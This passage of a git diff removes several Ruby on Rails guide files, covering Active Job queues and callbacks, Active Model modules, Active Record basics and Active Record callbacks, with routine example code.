Punch](https://github.com/brandonhilkert/sucker_punch#active-job) -- [Queue Classic](https://github.com/QueueClassic/queue_classic#active-job) - -Queues ------- - -Most of the adapters support multiple queues. With Active Job you can schedule -the job to run on a specific queue: - -```ruby -class GuestsCleanupJob < ApplicationJob - queue_as :low_priority - #.... -end -``` - -You can prefix the queue name for all your jobs using -`config.active_job.queue_name_prefix` in `application.rb`: - -```ruby -# config/application.rb -module YourApp - class Application < Rails::Application - config.active_job.queue_name_prefix = Rails.env - end -end - -# app/jobs/guests_cleanup_job.rb -class GuestsCleanupJob < ApplicationJob - queue_as :low_priority - #.... -end - -# Now your job will run on queue production_low_priority on your -# production environment and on staging_low_priority -# on your staging environment -``` - -The default queue name prefix delimiter is '\_'. This can be changed by setting -`config.active_job.queue_name_delimiter` in `application.rb`: - -```ruby -# config/application.rb -module YourApp - class Application < Rails::Application - config.active_job.queue_name_prefix = Rails.env - config.active_job.queue_name_delimiter = '.' - end -end - -# app/jobs/guests_cleanup_job.rb -class GuestsCleanupJob < ApplicationJob - queue_as :low_priority - #.... -end - -# Now your job will run on queue production.low_priority on your -# production environment and on staging.low_priority -# on your staging environment -``` - -If you want more control on what queue a job will be run you can pass a `:queue` -option to `#set`: - -```ruby -MyJob.set(queue: :another_queue).perform_later(record) -``` - -To control the queue from the job level you can pass a block to `#queue_as`. The -block will be executed in the job context (so you can access `self.arguments`) -and you must return the queue name: - -```ruby -class ProcessVideoJob < ApplicationJob - queue_as do - video = self.arguments.first - if video.owner.premium? - :premium_videojobs - else - :videojobs - end - end - - def perform(video) - # Do process video - end -end - -ProcessVideoJob.perform_later(Video.last) -``` - -NOTE: Make sure your queuing backend "listens" on your queue name. For some -backends you need to specify the queues to listen to. - - -Callbacks ---------- - -Active Job provides hooks during the life cycle of a job. Callbacks allow you to -trigger logic during the life cycle of a job. - -### Available callbacks - -* `before_enqueue` -* `around_enqueue` -* `after_enqueue` -* `before_perform` -* `around_perform` -* `after_perform` - -### Usage - -```ruby -class GuestsCleanupJob < ApplicationJob - queue_as :default - - before_enqueue do |job| - # Do something with the job instance - end - - around_perform do |job, block| - # Do something before perform - block.call - # Do something after perform - end - - def perform - # Do something later - end -end -``` - - -Action Mailer ------------- - -One of the most common jobs in a modern web application is sending emails outside -of the request-response cycle, so the user doesn't have to wait on it. Active Job -is integrated with Action Mailer so you can easily send emails asynchronously: - -```ruby -# If you want to send the email now use #deliver_now -UserMailer.welcome(@user).deliver_now - -# If you want to send the email through Active Job use #deliver_later -UserMailer.welcome(@user).deliver_later -``` - - -Internationalization --------------------- - -Each job uses the `I18n.locale` set when the job was created. Useful if you send -emails asynchronously: - -```ruby -I18n.locale = :eo - -UserMailer.welcome(@user).deliver_later # Email will be localized to Esperanto. -``` - - -GlobalID --------- - -Active Job supports GlobalID for parameters. This makes it possible to pass live -Active Record objects to your job instead of class/id pairs, which you then have -to manually deserialize. Before, jobs would look like this: - -```ruby -class TrashableCleanupJob < ApplicationJob - def perform(trashable_class, trashable_id, depth) - trashable = trashable_class.constantize.find(trashable_id) - trashable.cleanup(depth) - end -end -``` - -Now you can simply do: - -```ruby -class TrashableCleanupJob < ApplicationJob - def perform(trashable, depth) - trashable.cleanup(depth) - end -end -``` - -This works with any class that mixes in `GlobalID::Identification`, which -by default has been mixed into Active Record classes. - - -Exceptions ----------- - -Active Job provides a way to catch exceptions raised during the execution of the -job: - -```ruby -class GuestsCleanupJob < ApplicationJob - queue_as :default - - rescue_from(ActiveRecord::RecordNotFound) do |exception| - # Do something with the exception - end - - def perform - # Do something later - end -end -``` - -### Deserialization - -GlobalID allows serializing full Active Record objects passed to `#perform`. - -If a passed record is deleted after the job is enqueued but before the `#perform` -method is called Active Job will raise an `ActiveJob::DeserializationError` -exception. - -Job Testing --------------- - -You can find detailed instructions on how to test your jobs in the -[testing guide](testing.html#testing-jobs). diff --git a/source/active_model_basics.md b/source/active_model_basics.md deleted file mode 100644 index e26805d..0000000 --- a/source/active_model_basics.md +++ /dev/null @@ -1,505 +0,0 @@ -**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON http://guides.rubyonrails.org.** - -Active Model Basics -=================== - -This guide should provide you with all you need to get started using model -classes. Active Model allows for Action Pack helpers to interact with -plain Ruby objects. Active Model also helps build custom ORMs for use -outside of the Rails framework. - -After reading this guide, you will know: - -* How an Active Record model behaves. -* How Callbacks and validations work. -* How serializers work. -* How Active Model integrates with the Rails internationalization (i18n) framework. - --------------------------------------------------------------------------------- - -Introduction ------------- - -Active Model is a library containing various modules used in developing -classes that need some features present on Active Record. -Some of these modules are explained below. - -### Attribute Methods - -The `ActiveModel::AttributeMethods` module can add custom prefixes and suffixes -on methods of a class. It is used by defining the prefixes and suffixes and -which methods on the object will use them. - -```ruby -class Person - include ActiveModel::AttributeMethods - - attribute_method_prefix 'reset_' - attribute_method_suffix '_highest?' - define_attribute_methods 'age' - - attr_accessor :age - - private - def reset_attribute(attribute) - send("#{attribute}=", 0) - end - - def attribute_highest?(attribute) - send(attribute) > 100 - end -end - -person = Person.new -person.age = 110 -person.age_highest? # => true -person.reset_age # => 0 -person.age_highest? # => false -``` - -### Callbacks - -`ActiveModel::Callbacks` gives Active Record style callbacks. This provides an -ability to define callbacks which run at appropriate times. -After defining callbacks, you can wrap them with before, after and around -custom methods. - -```ruby -class Person - extend ActiveModel::Callbacks - - define_model_callbacks :update - - before_update :reset_me - - def update - run_callbacks(:update) do - # This method is called when update is called on an object. - end - end - - def reset_me - # This method is called when update is called on an object as a before_update callback is defined. - end -end -``` - -### Conversion - -If a class defines `persisted?` and `id` methods, then you can include the -`ActiveModel::Conversion` module in that class, and call the Rails conversion -methods on objects of that class. - -```ruby -class Person - include ActiveModel::Conversion - - def persisted? - false - end - - def id - nil - end -end - -person = Person.new -person.to_model == person # => true -person.to_key # => nil -person.to_param # => nil -``` - -### Dirty - -An object becomes dirty when it has gone through one or more changes to its -attributes and has not been saved. `ActiveModel::Dirty` gives the ability to -check whether an object has been changed or not. It also has attribute based -accessor methods. Let's consider a Person class with attributes `first_name` -and `last_name`: - -```ruby -class Person - include ActiveModel::Dirty - define_attribute_methods :first_name, :last_name - - def first_name - @first_name - end - - def first_name=(value) - first_name_will_change! - @first_name = value - end - - def last_name - @last_name - end - - def last_name=(value) - last_name_will_change! - @last_name = value - end - - def save - # do save work... - changes_applied - end -end -``` - -#### Querying object directly for its list of all changed attributes. - -```ruby -person = Person.new -person.changed? # => false - -person.first_name = "First Name" -person.first_name # => "First Name" - -# returns true if any of the attributes have unsaved changes. -person.changed? # => true - -# returns a list of attributes that have changed before saving. -person.changed # => ["first_name"] - -# returns a Hash of the attributes that have changed with their original values. -person.changed_attributes # => {"first_name"=>nil} - -# returns a Hash of changes, with the attribute names as the keys, and the -# values as an array of the old and new values for that field. -person.changes # => {"first_name"=>[nil, "First Name"]} -``` - -#### Attribute based accessor methods - -Track whether the particular attribute has been changed or not. - -```ruby -# attr_name_changed? -person.first_name # => "First Name" -person.first_name_changed? # => true -``` - -Track the previous value of the attribute. - -```ruby -# attr_name_was accessor -person.first_name_was # => nil -``` - -Track both previous and current value of the changed attribute. Returns an array -if changed, otherwise returns nil. - -```ruby -# attr_name_change -person.first_name_change # => [nil, "First Name"] -person.last_name_change # => nil -``` - -### Validations - -The `ActiveModel::Validations` module adds the ability to validate objects -like in Active Record. - -```ruby -class Person - include ActiveModel::Validations - - attr_accessor :name, :email, :token - - validates :name, presence: true - validates_format_of :email, with: /\A([^\s]+)((?:[-a-z0-9]\.)[a-z]{2,})\z/i - validates! :token, presence: true -end - -person = Person.new -person.token = "2b1f325" -person.valid? # => false -person.name = 'vishnu' -person.email = 'me' -person.valid? # => false -person.email = 'me@vishnuatrai.com' -person.valid? # => true -person.token = nil -person.valid? # => raises ActiveModel::StrictValidationFailed -``` - -### Naming - -`ActiveModel::Naming` adds a number of class methods which make naming and routing -easier to manage. The module defines the `model_name` class method which -will define a number of accessors using some `ActiveSupport::Inflector` methods. - -```ruby -class Person - extend ActiveModel::Naming -end - -Person.model_name.name # => "Person" -Person.model_name.singular # => "person" -Person.model_name.plural # => "people" -Person.model_name.element # => "person" -Person.model_name.human # => "Person" -Person.model_name.collection # => "people" -Person.model_name.param_key # => "person" -Person.model_name.i18n_key # => :person -Person.model_name.route_key # => "people" -Person.model_name.singular_route_key # => "person" -``` - -### Model - -`ActiveModel::Model` adds the ability for a class to work with Action Pack and -Action View right out of the box. - -```ruby -class EmailContact - include ActiveModel::Model - - attr_accessor :name, :email, :message - validates :name, :email, :message, presence: true - - def deliver - if valid? - # deliver email - end - end -end -``` - -When including `ActiveModel::Model` you get some features like: - -- model name introspection -- conversions -- translations -- validations - -It also gives you the ability to initialize an object with a hash of attributes, -much like any Active Record object. - -```ruby -email_contact = EmailContact.new(name: 'David', - email: 'david@example.com', - message: 'Hello World') -email_contact.name # => 'David' -email_contact.email # => 'david@example.com' -email_contact.valid? # => true -email_contact.persisted? # => false -``` - -Any class that includes `ActiveModel::Model` can be used with `form_for`, -`render` and any other Action View helper methods, just like Active Record -objects. - -### Serialization - -`ActiveModel::Serialization` provides basic serialization for your object. -You need to declare an attributes Hash which contains the attributes you want to -serialize. Attributes must be strings, not symbols. - -```ruby -class Person - include ActiveModel::Serialization - - attr_accessor :name - - def attributes - {'name' => nil} - end -end -``` - -Now you can access a serialized Hash of your object using the `serializable_hash` method. - -```ruby -person = Person.new -person.serializable_hash # => {"name"=>nil} -person.name = "Bob" -person.serializable_hash # => {"name"=>"Bob"} -``` - -#### ActiveModel::Serializers - -Active Model also provides the `ActiveModel::Serializers::JSON` module -for JSON serializing / deserializing. This module automatically includes the -previously discussed `ActiveModel::Serialization` module. - -##### ActiveModel::Serializers::JSON - -To use `ActiveModel::Serializers::JSON` you only need to change the -module you are including from `ActiveModel::Serialization` to `ActiveModel::Serializers::JSON`. - -```ruby -class Person - include ActiveModel::Serializers::JSON - - attr_accessor :name - - def attributes - {'name' => nil} - end -end -``` - -The `as_json` method, similar to `serializable_hash`, provides a Hash representing -the model. - -```ruby -person = Person.new -person.as_json # => {"name"=>nil} -person.name = "Bob" -person.as_json # => {"name"=>"Bob"} -``` - -You can also define the attributes for a model from a JSON string. -However, you need to define the `attributes=` method on your class: - -```ruby -class Person - include ActiveModel::Serializers::JSON - - attr_accessor :name - - def attributes=(hash) - hash.each do |key, value| - send("#{key}=", value) - end - end - - def attributes - {'name' => nil} - end -end -``` - -Now it is possible to create an instance of `Person` and set attributes using `from_json`. - -```ruby -json = { name: 'Bob' }.to_json -person = Person.new -person.from_json(json) # => # -person.name # => "Bob" -``` - -### Translation - -`ActiveModel::Translation` provides integration between your object and the Rails -internationalization (i18n) framework. - -```ruby -class Person - extend ActiveModel::Translation -end -``` - -With the `human_attribute_name` method, you can transform attribute names into a -more human-readable format. The human-readable format is defined in your locale file(s). - -* config/locales/app.pt-BR.yml - - ```yml - pt-BR: - activemodel: - attributes: - person: - name: 'Nome' - ``` - -```ruby -Person.human_attribute_name('name') # => "Nome" -``` - -### Lint Tests - -`ActiveModel::Lint::Tests` allows you to test whether an object is compliant with -the Active Model API. - -* `app/models/person.rb` - - ```ruby - class Person - include ActiveModel::Model - end - ``` - -* `test/models/person_test.rb` - - ```ruby - require 'test_helper' - - class PersonTest < ActiveSupport::TestCase - include ActiveModel::Lint::Tests - - setup do - @model = Person.new - end - end - ``` - -```bash -$ rails test - -Run options: --seed 14596 - -# Running: - -...... - -Finished in 0.024899s, 240.9735 runs/s, 1204.8677 assertions/s. - -6 runs, 30 assertions, 0 failures, 0 errors, 0 skips -``` - -An object is not required to implement all APIs in order to work with -Action Pack. This module only intends to provide guidance in case you want all -features out of the box. - -### SecurePassword - -`ActiveModel::SecurePassword` provides a way to securely store any -password in an encrypted form. When you include this module, a -`has_secure_password` class method is provided which defines -a `password` accessor with certain validations on it. - -#### Requirements - -`ActiveModel::SecurePassword` depends on [`bcrypt`](https://github.com/codahale/bcrypt-ruby 'BCrypt'), -so include this gem in your Gemfile to use `ActiveModel::SecurePassword` correctly. -In order to make this work, the model must have an accessor named `password_digest`. -The `has_secure_password` will add the following validations on the `password` accessor: - -1. Password should be present. -2. Password should be equal to its confirmation (provided +password_confirmation+ is passed along). -3. The maximum length of a password is 72 (required by `bcrypt` on which ActiveModel::SecurePassword depends) - -#### Examples - -```ruby -class Person - include ActiveModel::SecurePassword - has_secure_password - attr_accessor :password_digest -end - -person = Person.new - -# When password is blank. -person.valid? # => false - -# When the confirmation doesn't match the password. -person.password = 'aditya' -person.password_confirmation = 'nomatch' -person.valid? # => false - -# When the length of password exceeds 72. -person.password = person.password_confirmation = 'a' * 100 -person.valid? # => false - -# When only password is supplied with no password_confirmation. -person.password = 'aditya' -person.valid? # => true - -# When all validations are passed. -person.password = person.password_confirmation = 'aditya' -person.valid? # => true -``` diff --git a/source/active_record_basics.md b/source/active_record_basics.md deleted file mode 100644 index 6b3aa47..0000000 --- a/source/active_record_basics.md +++ /dev/null @@ -1,377 +0,0 @@ -**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON http://guides.rubyonrails.org.** - -Active Record Basics -==================== - -This guide is an introduction to Active Record. - -After reading this guide, you will know: - -* What Object Relational Mapping and Active Record are and how they are used in - Rails. -* How Active Record fits into the Model-View-Controller paradigm. -* How to use Active Record models to manipulate data stored in a relational - database. -* Active Record schema naming conventions. -* The concepts of database migrations, validations and callbacks. - --------------------------------------------------------------------------------- - -What is Active Record? ----------------------- - -Active Record is the M in [MVC](http://en.wikipedia.org/wiki/Model%E2%80%93view%E2%80%93controller) - the -model - which is the layer of the system responsible for representing business -data and logic. Active Record facilitates the creation and use of business -objects whose data requires persistent storage to a database. It is an -implementation of the Active Record pattern which itself is a description of an -Object Relational Mapping system. - -### The Active Record Pattern - -[Active Record was described by Martin Fowler](http://www.martinfowler.com/eaaCatalog/activeRecord.html) -in his book _Patterns of Enterprise Application Architecture_. In -Active Record, objects carry both persistent data and behavior which -operates on that data. Active Record takes the opinion that ensuring -data access logic as part of the object will educate users of that -object on how to write to and read from the database. - -### Object Relational Mapping - -Object Relational Mapping, commonly referred to as its abbreviation ORM, is -a technique that connects the rich objects of an application to tables in -a relational database management system. Using ORM, the properties and -relationships of the objects in an application can be easily stored and -retrieved from a database without writing SQL statements directly and with less -overall database access code. - -### Active Record as an ORM Framework - -Active Record gives us several mechanisms, the most important being the ability -to: - -* Represent models and their data. -* Represent associations between these models. -* Represent inheritance hierarchies through related models. -* Validate models before they get persisted to the database. -* Perform database operations in an object-oriented fashion. - -Convention over Configuration in Active Record ----------------------------------------------- - -When writing applications using other programming languages or frameworks, it -may be necessary to write a lot of configuration code. This is particularly true -for ORM frameworks in general. However, if you follow the conventions adopted by -Rails, you'll need to write very little configuration (in some cases no -configuration at all) when creating Active Record models. The idea is that if -you configure your applications in the very same way most of the time then this -should be the default way. Thus, explicit configuration would be needed -only in those cases where you can't follow the standard convention. - -### Naming Conventions - -By default, Active Record uses some naming conventions to find out how the -mapping between models and database tables should be created. Rails will -pluralize your class names to find the respective database table. So, for -a class `Book`, you should have a database table called **books**. The Rails -pluralization mechanisms are very powerful, being capable of pluralizing (and -singularizing) both regular and irregular words. When using class names composed -of two or more words, the model class name should follow the Ruby conventions, -using the CamelCase form, while the table name must contain the words separated -by underscores. Examples: - -* Database Table - Plural with underscores separating words (e.g., `book_clubs`). -* Model Class - Singular with the first letter of each word capitalized (e.g., -`BookClub`). - -| Model / Class | Table / Schema | -| ---------------- | -------------- | -| `Article` | `articles` | -| `LineItem` | `line_items` | -| `Deer` | `deers` | -| `Mouse` | `mice` | -| `Person` | `people` | - - -### Schema Conventions - -Active Record uses naming conventions for the columns in database tables, -depending on the purpose of these columns. - -* **Foreign keys** - These fields should be named following the pattern - `singularized_table_name_id` (e.g., `item_id`, `order_id`). These are the - fields that Active Record will look for when you create associations between - your models. -* **Primary keys** - By default, Active Record will use an integer column named - `id` as the table's primary key. When using [Active Record - Migrations](active_record_migrations.html) to create your tables, this column will be - automatically created. - -There are also some optional column names that will add additional features -to Active Record instances: - -* `created_at` - Automatically gets set to the current date and time when the - record is first created. -* `updated_at` - Automatically gets set to the current date and time whenever - the record is updated. -* `lock_version` - Adds [optimistic - locking](http://api.rubyonrails.org/classes/ActiveRecord/Locking.html) to - a model. -* `type` - Specifies that the model uses [Single Table - Inheritance](http://api.rubyonrails.org/classes/ActiveRecord/Base.html#class-ActiveRecord::Base-label-Single+table+inheritance). -* `(association_name)_type` - Stores the type for - [polymorphic associations](association_basics.html#polymorphic-associations). -* `(table_name)_count` - Used to cache the number of belonging objects on - associations. For example, a `comments_count` column in an `Article` class that - has many instances of `Comment` will cache the number of existent comments - for each article. - -NOTE: While these column names are optional, they are in fact reserved by Active Record. Steer clear of reserved keywords unless you want the extra functionality. For example, `type` is a reserved keyword used to designate a table using Single Table Inheritance (STI). If you are not using STI, try an analogous keyword like "context", that may still accurately describe the data you are modeling. - -Creating Active Record Models ------------------------------ - -It is very easy to create Active Record models. All you have to do is to -subclass the `ApplicationRecord` class and you're good to go: - -```ruby -class Product < ApplicationRecord -end -``` - -This will create a `Product` model, mapped to a `products` table at the -database. By doing this you'll also have the ability to map the columns of each -row in that table with the attributes of the instances of your model. Suppose -that the `products` table was created using an SQL statement like: - -```sql -CREATE TABLE products ( - id int(11) NOT NULL auto_increment, - name varchar(255), - PRIMARY KEY (id) -); -``` - -Following the table schema above, you would be able to write code like the -following: - -```ruby -p = Product.new -p.name = "Some Book" -puts p.name # "Some Book" -``` - -Overriding the Naming Conventions ---------------------------------- - -What if you need to follow a different naming convention or need to use your -Rails application with a legacy database? No problem, you can easily override -the default conventions. - -`ApplicationRecord` inherits from `ActiveRecord::Base`, which defines a -number of helpful methods. You can use the `ActiveRecord::Base.table_name=` -method to specify the table name that should be used: - -```ruby -class Product < ApplicationRecord - self.table_name = "my_products" -end -``` - -If you do so, you will have to define manually the class name that is hosting -the fixtures (my_products.yml) using the `set_fixture_class` method in your test -definition: - -```ruby -class ProductTest < ActiveSupport::TestCase - set_fixture_class my_products: Product - fixtures :my_products - ... -end -``` - -It's also possible to override the column that should be used as the table's -primary key using the `ActiveRecord::Base.primary_key=` method: - -```ruby -class Product < ApplicationRecord - self.primary_key = "product_id" -end -``` - -CRUD: Reading and Writing Data ------------------------------- - -CRUD is an acronym for the four verbs we use to operate on data: **C**reate, -**R**ead, **U**pdate and **D**elete. Active Record automatically creates methods -to allow an application to read and manipulate data stored within its tables. - -### Create - -Active Record objects can be created from a hash, a block or have their -attributes manually set after creation. The `new` method will return a new -object while `create` will return the object and save it to the database. - -For example, given a model `User` with attributes of `name` and `occupation`, -the `create` method call will create and save a new record into the database: - -```ruby -user = User.create(name: "David", occupation: "Code Artist") -``` - -Using the `new` method, an object can be instantiated without being saved: - -```ruby -user = User.new -user.name = "David" -user.occupation = "Code Artist" -``` - -A call to `user.save` will commit the record to the database. - -Finally, if a block is provided, both `create` and `new` will yield the new -object to that block for initialization: - -```ruby -user = User.new do |u| - u.name = "David" - u.occupation = "Code Artist" -end -``` - -### Read - -Active Record provides a rich API for accessing data within a database. Below -are a few examples of different data access methods provided by Active Record. - -```ruby -# return a collection with all users -users = User.all -``` - -```ruby -# return the first user -user = User.first -``` - -```ruby -# return the first user named David -david = User.find_by(name: 'David') -``` - -```ruby -# find all users named David who are Code Artists and sort by created_at in reverse chronological order -users = User.where(name: 'David', occupation: 'Code Artist').order(created_at: :desc) -``` - -You can learn more about querying an Active Record model in the [Active Record -Query Interface](active_record_querying.html) guide. - -### Update - -Once an Active Record object has been retrieved, its attributes can be modified -and it can be saved to the database. - -```ruby -user = User.find_by(name: 'David') -user.name = 'Dave' -user.save -``` - -A shorthand for this is to use a hash mapping attribute names to the desired -value, like so: - -```ruby -user = User.find_by(name: 'David') -user.update(name: 'Dave') -``` - -This is most useful when updating several attributes at once. If, on the other -hand, you'd like to update several records in bulk, you may find the -`update_all` class method useful: - -```ruby -User.update_all "max_login_attempts = 3, must_change_password = 'true'" -``` - -### Delete - -Likewise, once retrieved an Active Record object can be destroyed which removes -it from the database. - -```ruby -user = User.find_by(name: 'David') -user.destroy -``` - -Validations ------------ - -Active Record allows you to validate the state of a model before it gets written -into the database. There are several methods that you can use to check your -models and validate that an attribute value is not empty, is unique and not -already in the database, follows a specific format and many more. - -Validation is a very important issue to consider when persisting to the database, so -the methods `save` and `update` take it into account when -running: they return `false` when validation fails and they didn't actually -perform any operation on the database. All of these have a bang counterpart (that -is, `save!` and `update!`), which are stricter in that -they raise the exception `ActiveRecord::RecordInvalid` if validation fails. -A quick example to illustrate: - -```ruby -class User < ApplicationRecord - validates :name, presence: true -end - -user = User.new -user.save # => false -user.save! # => ActiveRecord::RecordInvalid: Validation failed: Name can't be blank -``` - -You can learn more about validations in the [Active Record Validations -guide](active_record_validations.html). - -Callbacks ---------- - -Active Record callbacks allow you to attach code to certain events in the -life-cycle of your models. This enables you to add behavior to your models by -transparently executing code when those events occur, like when you create a new -record, update it, destroy it and so on. You can learn more about callbacks in -the [Active Record Callbacks guide](active_record_callbacks.html). - -Migrations ----------- - -Rails provides a domain-specific language for managing a database schema called -migrations. Migrations are stored in files which are executed against any -database that Active Record supports using `rake`. Here's a migration that -creates a table: - -```ruby -class CreatePublications < ActiveRecord::Migration[5.0] - def change - create_table :publications do |t| - t.string :title - t.text :description - t.references :publication_type - t.integer :publisher_id - t.string :publisher_type - t.boolean :single_issue - - t.timestamps - end - add_index :publications, :publication_type_id - end -end -``` - -Rails keeps track of which files have been committed to the database and -provides rollback features. To actually create the table, you'd run `rails db:migrate` -and to roll it back, `rails db:rollback`. - -Note that the above code is database-agnostic: it will run in MySQL, -PostgreSQL, Oracle and others. You can learn more about migrations in the -[Active Record Migrations guide](active_record_migrations.html). diff --git a/source/active_record_callbacks.md b/source/active_record_callbacks.md deleted file mode 100644 index 77bd3c9..0000000 --- a/source/active_record_callbacks.md +++ /dev/null @@ -1,422 +0,0 @@ -**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON http://guides.rubyonrails.org.** - -Active Record Callbacks -======================= - -This guide teaches you how to hook into the life cycle of your Active Record -objects. - -After reading this guide, you will know: - -* The life cycle of Active Record objects. -* How to create callback methods that respond to events in the object life cycle. -* How to create special classes that encapsulate common behavior for your callbacks. - --------------------------------------------------------------------------------- - -The Object Life Cycle ---------------------- - -During the normal operation of a Rails application, objects may be created, updated, and destroyed. Active Record provides hooks into this *object life cycle* so that you can control your application and its data. - -Callbacks allow you to trigger logic before or after an alteration of an object's state. - -Callbacks Overview ------------------- - -Callbacks are methods that get called at certain moments of an object's life cycle. With callbacks it is possible to write code that will run whenever an Active Record object is created, saved, updated, deleted, validated, or loaded from the database. - -### Callback Registration - -In order to use the available callbacks, you need to register them. You can implement the callbacks as ordinary methods and use a macro-style class method to register them as callbacks: - -```ruby -class User < ApplicationRecord - validates :login, :email, presence: true - - before_validation :ensure_login_has_a_value - - private - def ensure_login_has_a_value - if login.nil? - self.login = email unless email.blank? - end - end -end -``` - -The macro-style class methods can also receive a block. Consider using this style if the code inside your block is so short that it fits in a single line: - -```ruby -class User < ApplicationRecord - validates :login, :email, presence: true - - before_create do - self.name = login.capitalize if name.blank? - end -end -``` - -Callbacks can also be registered to only fire on certain life cycle events: - -```ruby -class User < ApplicationRecord - before_validation :normalize_name, on: :create - - # :on takes an array as well - after_validation :set_location, on: [ :create, :update ] - - private - def normalize_name - self.name = name.downcase.titleize - end - - def set_location - self.location = LocationService.query(self) - end -end -``` - -It is considered good practice to declare callback methods as private. If left public, they can be called from outside of the model and violate the principle of object encapsulation. - -Available Callbacks -------------------- - -Here is a list with all the available Active Record callbacks, listed in the same order in which they will get called during the respective operations: - -### Creating an Object - -* `before_validation` -* `after_validation` -* `before_save` -* `around_save` -* `before_create` -* `around_create` -* `after_create` -* `after_save` -* `after_commit/after_rollback` - -### Updating an Object - -* `before_validation` -* `after_validation` -* `before_save` -* `around_save` -* `before_update` -* `around_update` -* `after_update` -* `after_save` -* `after_commit/after_rollback` - -### Destroying an Object - -* `before_destroy` -* `around_destroy` -* `after_destroy` -* `after_commit/after_rollback` - -WARNING. `after_save` runs both on create and update, but always _after_ the more specific callbacks `after_create` and `after_update`, no matter the order in which the macro calls were executed. - -### `after_initialize` and `after_find` - -The `after_initialize` callback will be called whenever an Active Record object is instantiated, either by directly using `new` or when a record is loaded from the database. It can be useful to avoid the need to directly override your Active Record `initialize` method. - -The `after_find` callback will be called whenever Active Record loads a record from the database. `after_find` is called before `after_initialize` if both are defined. - -The `after_initialize` and `after_find` callbacks have no `before_*` counterparts, but they can be registered just like the other Active Record callbacks. - -```ruby -class User < ApplicationRecord - after_initialize do |user| - puts "You have initialized an object!" - end - - after_find do |user| - puts "You have found an object!" - end -end - ->> User.new -You have initialized an object! -=> # - ->> User.first -You have found an object! -You have initialized an object! -=> # -``` - -### `after_touch` - -The `after_touch` callback will be called whenever an Active Record object is touched. - -```ruby -class User < ApplicationRecord - after_touch do |user| - puts "You have touched an object" - end -end - ->> u = User.create(name: 'Kuldeep') -=> # - ->> u.touch -You have touched an object -=> true -``` - -It can be used along with `belongs_to`: - -```ruby -class Employee < ApplicationRecord - belongs_to :company, touch: true - after_touch do - puts 'An Employee was touched' - end -end - -class Company < ApplicationRecord - has_many :employees - after_touch :log_when_employees_or_company_touched - - private - def log_when_employees_or_company_touched - puts 'Employee/Company was touched' - end -end - ->> @employee = Employee.last -=> # - -# triggers @employee.company.touch ->> @employee.touch -Employee/Company was touched -An Employee was touched -=> true -``` - -Running Callbacks ------------------ - -The following methods trigger callbacks: - -* `create` -* `create!` -* `destroy` -* `destroy!` -* `destroy_all` -* `save` -* `save!` -* `save(validate: false)` -* `toggle!` -* `update_attribute` -* `update` -* `update!` -* `valid?` - -Additionally, the `after_find` callback is triggered by the following finder methods: - -* `all` -* `first` -* `find` -* `find_by` -* `find_by_*` -* `find_by_*!` -* `find_by_sql` -* `last` - -The `after_initialize` callback is triggered every time a new object of the class is initialized. - -NOTE: The `find_by_*` and `find_by_*!` methods are dynamic finders generated automatically for every attribute. Learn more about them at the [Dynamic finders section](active_record_querying.html#dynamic-finders) - -Skipping Callbacks ------------------- - -Just as with validations, it is also possible to skip callbacks by using the following methods: - -* `decrement` -* `decrement_counter` -* `delete` -* `delete_all` -* `increment` -* `increment_counter` -* `toggle` -* `touch` -* `update_column` -* `update_columns` -* `update_all` -* `update_counters` - -These methods should be used with caution, however, because important business rules and application logic may be kept in callbacks. Bypassing them without understanding the potential implications may lead to invalid data. - -Halting Execution ------------------ - -As you start registering new callbacks for your models, they will be queued for execution. This queue will include all your model's validations, the registered callbacks, and the database operation to be executed. - -The whole callback chain is wrapped in a transaction. If any _before_ callback method returns exactly `false` or raises an exception, the execution chain gets halted and a ROLLBACK is issued; _after_ callbacks can only accomplish that by raising an exception. - -WARNING. Any exception that is not `ActiveRecord::Rollback` or `ActiveRecord::RecordInvalid` will be re-raised by Rails after the callback chain is halted. Raising an exception other than `ActiveRecord::Rollback` or `ActiveRecord::RecordInvalid` may break code that does not expect methods like `save` and `update_attributes` (which normally try to return `true` or `false`) to raise an exception. - -Relational Callbacks --------------------- - -Callbacks work through model relationships, and can even be defined by them. Suppose an example where a user has many articles. A user's articles should be destroyed if the user is destroyed. Let's add an `after_destroy` callback to the `User` model by way of its relationship to the `Article` model: - -```ruby -class User < ApplicationRecord - has_many :articles, dependent: :destroy -end - -class Article < ApplicationRecord - after_destroy :log_destroy_action - - def log_destroy_action - puts 'Article destroyed' - end -end - ->> user = User.first -=> # ->> user.articles.create! -=> #
->> user.destroy -Article destroyed -=> # -``` - -Conditional Callbacks ---------------------- - -As with validations, we can also make the calling of a callback method conditional on the satisfaction of a given predicate. We can do this using the `:if` and `:unless` options, which can take a symbol, a `Proc` or an `Array`. You may use the `:if` option when you want to specify under which conditions the callback **should** be called. If you want to specify the conditions under which the callback **should not** be called, then you may use the `:unless` option. - -### Using `:if` and `:unless` with a `Symbol` - -You can associate the `:if` and `:unless` options with a symbol corresponding to the name of a predicate method that will get called right before the callback. When using the `:if` option, the callback won't be executed if the predicate method returns false; when using the `:unless` option, the callback won't be executed if the predicate method returns true. This is the most common option. Using this form of registration it is also possible to register several different predicates that should be called to check if the callback should be executed. - -```ruby -class Order < ApplicationRecord - before_save :normalize_card_number, if: :paid_with_card? -end -``` - -### Using `:if` and `:unless` with a `Proc` - -Finally, it is possible to associate `:if` and `:unless` with a `Proc` object. This option is best suited when writing short validation methods, usually one-liners: - -```ruby -class Order < ApplicationRecord - before_save :normalize_card_number, - if: Proc.new { |order| order.paid_with_card? } -end -``` - -### Multiple Conditions for Callbacks - -When writing conditional callbacks, it is possible to mix both `:if` and `:unless` in the same callback declaration: - -```ruby -class Comment < ApplicationRecord - after_create :send_email_to_author, if: :author_wants_emails?, - unless: Proc.new { |comment| comment.article.ignore_comments? } -end -``` - -Callback Classes ----------------- - -Sometimes the callback methods that you'll write will be useful enough to be reused by other models. Active Record makes it possible to create classes that encapsulate the callback methods, so it becomes very easy to reuse them. - -Here's an example where we create a class with an `after_destroy` callback for a `PictureFile` model: - -```ruby -class PictureFileCallbacks - def after_destroy(picture_file) - if File.exist?(picture_file.filepath) - File.delete(picture_file.filepath) - end - end -end -``` - -When declared inside a class, as above, the callback methods will receive the model object as a parameter. We can now use the callback class in the model: - -```ruby -class PictureFile < ApplicationRecord - after_destroy PictureFileCallbacks.new -end -``` - -Note that we needed to instantiate a new `PictureFileCallbacks` object, since we declared our callback as an instance method. This is particularly useful if the callbacks make use of the state of the instantiated object. Often, however, it will make more sense to declare the callbacks as class methods: - -```ruby -class PictureFileCallbacks 